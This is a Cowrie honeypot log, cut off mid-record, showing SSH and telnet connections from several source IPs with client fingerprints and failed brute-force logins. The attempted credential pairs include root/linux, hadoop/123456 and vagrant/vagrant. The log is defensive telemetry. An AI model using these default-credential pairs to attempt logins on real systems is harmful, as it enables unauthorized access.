{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:27.279267Z","src_ip":"103.153.68.219","session":"aa697eddc21b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:27.476002Z","src_ip":"192.109.200.237","session":"20f07af43689","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:27.524802Z","src_ip":"103.153.68.219","session":"aa697eddc21b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46776,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac04a778ac9e","protocol":"telnet","message":"New connection: 152.42.224.71:46776 (10.17.0.5:23) [session: ac04a778ac9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:27.723161Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000a","message":"login attempt [root/000000a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:28.266748Z","src_ip":"103.153.68.219","session":"aa697eddc21b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:28.560743Z","src_ip":"192.109.200.237","session":"20f07af43689","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:29.515900Z","src_ip":"103.153.68.219","session":"aa697eddc21b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42502,"dst_ip":"159.203.135.109","dst_port":22,"session":"e44f014990b3","protocol":"ssh","message":"New connection: 192.109.200.237:42502 (159.203.135.109:22) [session: e44f014990b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:30.179060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:30.184721Z","src_ip":"192.109.200.237","session":"e44f014990b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:30.267676Z","src_ip":"192.109.200.237","session":"e44f014990b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:30.515814Z","src_ip":"192.109.200.237","session":"e44f014990b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:31.601128Z","src_ip":"192.109.200.237","session":"e44f014990b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42524,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff902f7fc44c","protocol":"ssh","message":"New connection: 192.109.200.237:42524 (159.203.135.109:22) [session: ff902f7fc44c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:33.331565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:33.340010Z","src_ip":"192.109.200.237","session":"ff902f7fc44c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:33.422603Z","src_ip":"192.109.200.237","session":"ff902f7fc44c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:33.669534Z","src_ip":"192.109.200.237","session":"ff902f7fc44c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:34.754733Z","src_ip":"192.109.200.237","session":"ff902f7fc44c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42544,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa955d47b2d6","protocol":"ssh","message":"New connection: 192.109.200.237:42544 (159.203.135.109:22) [session: aa955d47b2d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:36.633575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:36.639033Z","src_ip":"192.109.200.237","session":"aa955d47b2d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:36.723015Z","src_ip":"192.109.200.237","session":"aa955d47b2d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:36.973930Z","src_ip":"192.109.200.237","session":"aa955d47b2d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33756,"dst_ip":"10.17.0.5","dst_port":23,"session":"485158e6e7c7","protocol":"telnet","message":"New connection: 152.42.224.71:33756 (10.17.0.5:23) [session: 485158e6e7c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:37.288534Z"}
{"eventid":"cowrie.session.closed","duration":120.00163316726685,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:37.881489Z","src_ip":"46.60.48.98","session":"bd1076ff951d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:38.059215Z","src_ip":"192.109.200.237","session":"aa955d47b2d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.60.48.98","src_port":59244,"dst_ip":"159.203.135.109","dst_port":23,"session":"e448631eb1eb","protocol":"telnet","message":"New connection: 46.60.48.98:59244 (159.203.135.109:23) [session: e448631eb1eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:39.578672Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42568,"dst_ip":"159.203.135.109","dst_port":22,"session":"abb1b29b88ea","protocol":"ssh","message":"New connection: 192.109.200.237:42568 (159.203.135.109:22) [session: abb1b29b88ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:39.599603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:39.604742Z","src_ip":"192.109.200.237","session":"abb1b29b88ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:39.686832Z","src_ip":"192.109.200.237","session":"abb1b29b88ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gateway","password":"gateway","message":"login attempt [gateway/gateway] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:39.933242Z","src_ip":"192.109.200.237","session":"abb1b29b88ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:41.083996Z","src_ip":"192.109.200.237","session":"abb1b29b88ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.49617052078247,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:41.696288Z","src_ip":"152.42.224.71","session":"91930cd2f31e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.9763400554657,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:42.073610Z","src_ip":"152.42.224.71","session":"7c7043776812","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44700,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fb0abc03dfb","protocol":"ssh","message":"New connection: 192.109.200.237:44700 (159.203.135.109:22) [session: 6fb0abc03dfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:42.675823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:42.684290Z","src_ip":"192.109.200.237","session":"6fb0abc03dfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:42.765670Z","src_ip":"192.109.200.237","session":"6fb0abc03dfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:43.013253Z","src_ip":"192.109.200.237","session":"6fb0abc03dfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:44.098737Z","src_ip":"192.109.200.237","session":"6fb0abc03dfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44704,"dst_ip":"159.203.135.109","dst_port":22,"session":"eaf3fadb506e","protocol":"ssh","message":"New connection: 192.109.200.237:44704 (159.203.135.109:22) [session: eaf3fadb506e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:45.805840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:45.820441Z","src_ip":"192.109.200.237","session":"eaf3fadb506e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:45.889033Z","src_ip":"192.109.200.237","session":"eaf3fadb506e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:46.211183Z","src_ip":"192.109.200.237","session":"eaf3fadb506e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45800,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ad52bb41c11","protocol":"telnet","message":"New connection: 152.42.224.71:45800 (10.17.0.5:23) [session: 6ad52bb41c11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:46.817575Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:47.296006Z","src_ip":"192.109.200.237","session":"eaf3fadb506e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44714,"dst_ip":"159.203.135.109","dst_port":22,"session":"f420d35de9fd","protocol":"ssh","message":"New connection: 192.109.200.237:44714 (159.203.135.109:22) [session: f420d35de9fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:48.915503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:29:48.920498Z","src_ip":"192.109.200.237","session":"f420d35de9fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"m